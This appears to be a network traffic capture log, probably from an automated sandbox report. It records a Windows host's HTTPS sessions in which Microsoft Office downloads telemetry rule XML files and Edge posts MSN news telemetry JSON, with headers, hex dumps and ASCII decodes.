2024-11-28 10:05:44 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=09288bb8cf0e4447a81a7e2ddb1b24eb&HASH=0928&LV=202411&V=4&LU=1732788343841; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 10:05:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c8af3524ad2c474f90eca9ea554cbf83; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 10:35:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6264307 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 10:05:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:43 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:44 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100544Z-174f7845968swgbqhC1EWRmnb40000000yg000000000236s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:44 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:44 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100544Z-174f7845968psccphC1EWRuz9s0000000yh0000000004ra3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:44 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49921	13.89.179.11	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:44 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794608159&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 32858 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 10:05:44 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 31 3a 35 30 3a 30 38 2e 31 35 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 34 30 30 62 63 34 37 2d 63 34 62 34 2d 34 33 30 35 2d 39 62 32 33 2d 62 31 34 66 35 30 31 61 39 33 65 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 33 31 39 32 37 36 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T11:50:08.157Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"5400bc47-c4b4-4305-9b23-b14f501a93eb","epoch":"3431927632"},"app":{"locale
2024-11-28 10:05:44 UTC	16384	OUT	Data Raw: 6f 64 61 6c 42 61 63 6b 67 72 6f 75 6e 64 3d 31 26 73 74 61 72 74 70 61 67 65 3d 31 26 50 43 3d 55 35 33 31 26 6f 63 69 64 3d 6d 73 65 64 67 64 68 70 22 2c 22 76 69 65 77 54 79 70 65 22 3a 22 73 69 7a 65 33 63 6f 6c 75 6d 6e 22 2c 22 74 68 65 6d 65 22 3a 22 6c 69 67 68 74 22 2c 22 68 61 73 33 50 53 65 61 72 63 68 22 3a 66 61 6c 73 65 2c 22 69 73 53 65 61 72 63 68 41 42 22 3a 66 61 6c 73 65 2c 22 69 73 4d 6f 6e 65 74 69 7a 65 64 22 3a 66 61 6c 73 65 2c 22 70 69 76 6f 74 22 3a 22 22 2c 22 72 65 66 65 72 72 61 6c 22 3a 22 22 2c 22 64 77 65 6c 6c 54 69 6d 65 22 3a 30 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 73 4d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 67 68 74 22 3a 39 38 34 2c 22 73 63 72 65 65 6e 53 69 Data Ascii: odalBackground=1&startpage=1&PC=U531&ocid=msedgdhp","viewType":"size3column","theme":"light","has3PSearch":false,"isSearchAB":false,"isMonetized":false,"pivot":"","referral":"","dwellTime":0},"browser":{"isMobile":false,"width":1280,"height":984,"screenSi
2024-11-28 10:05:44 UTC	90	OUT	Data Raw: 73 69 7a 65 22 3a 37 37 39 2c 22 63 61 63 68 65 22 3a 30 7d 7d 7d 7d 7d 7d 2c 22 64 65 76 69 63 65 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 7b 22 6d 65 6d 6f 72 79 22 3a 38 2c 22 63 70 75 22 3a 34 2c 22 6e 65 74 77 6f 72 6b 53 70 65 65 64 22 3a 22 33 67 22 7d 7d 7d 7d Data Ascii: size":779,"cache":0}}}}}},"deviceCapabilities":{"memory":8,"cpu":4,"networkSpeed":"3g"}}}}
2024-11-28 10:05:44 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7d5c2056392a405189a634c25611f3cb&HASH=7d5c&LV=202411&V=4&LU=1732788344276; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 10:05:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c2a38da4e0b94bb2ba9e4e47ce2ee5d1; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 10:35:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6263883 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 10:05:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49922	13.89.179.11	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:44 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794609011&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5250 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; msnup=
2024-11-28 10:05:44 UTC	5250	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 31 3a 35 30 3a 30 39 2e 30 31 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 34 30 30 62 63 34 37 2d 63 34 62 34 2d 34 33 30 35 2d 39 62 32 33 2d 62 31 34 66 35 30 31 61 39 33 65 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 33 31 39 32 37 36 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T11:50:09.011Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"5400bc47-c4b4-4305-9b23-b14f501a93eb","epoch":"3431927632"},"app":{"locale
2024-11-28 10:05:45 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8e1d621832b54abb8a93958992e97fe4&HASH=8e1d&LV=202411&V=4&LU=1732788344817; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 10:05:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ecf7cfa52a6b4beb8ad78cfe5d05845c; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 10:35:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6264194 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 10:05:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49923	13.89.179.11	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:45 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794609111&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9600 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; msnup=
2024-11-28 10:05:45 UTC	9600	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 31 3a 35 30 3a 30 39 2e 31 31 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 34 30 30 62 63 34 37 2d 63 34 62 34 2d 34 33 30 35 2d 39 62 32 33 2d 62 31 34 66 35 30 31 61 39 33 65 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 33 31 39 32 37 36 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-28T11:50:09.110Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"5400bc47-c4b4-4305-9b23-b14f501a93eb","epoch":"3431927632"},"app":{"loc
2024-11-28 10:05:45 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=dace1dc11a7e4022b1535e15d4db01fa&HASH=dace&LV=202411&V=4&LU=1732788345259; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 10:05:45 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=78244654ea3d4e90babc27279235e49a; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 10:35:45 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6263852 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 10:05:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:45 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: af2f76df-f01e-0096-4850-4110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100545Z-174f7845968qj8jrhC1EWRh41s0000000y6g000000005q72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:45 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:45 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 2b15fac9-d01e-002b-104f-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100546Z-174f7845968l4kp6hC1EWRe8840000000ydg000000009r8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:45 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100546Z-174f78459688l8rvhC1EWRtzr00000000at0000000009c2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:46 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:46 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100546Z-174f7845968nxc96hC1EWRspw80000000y20000000003bqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
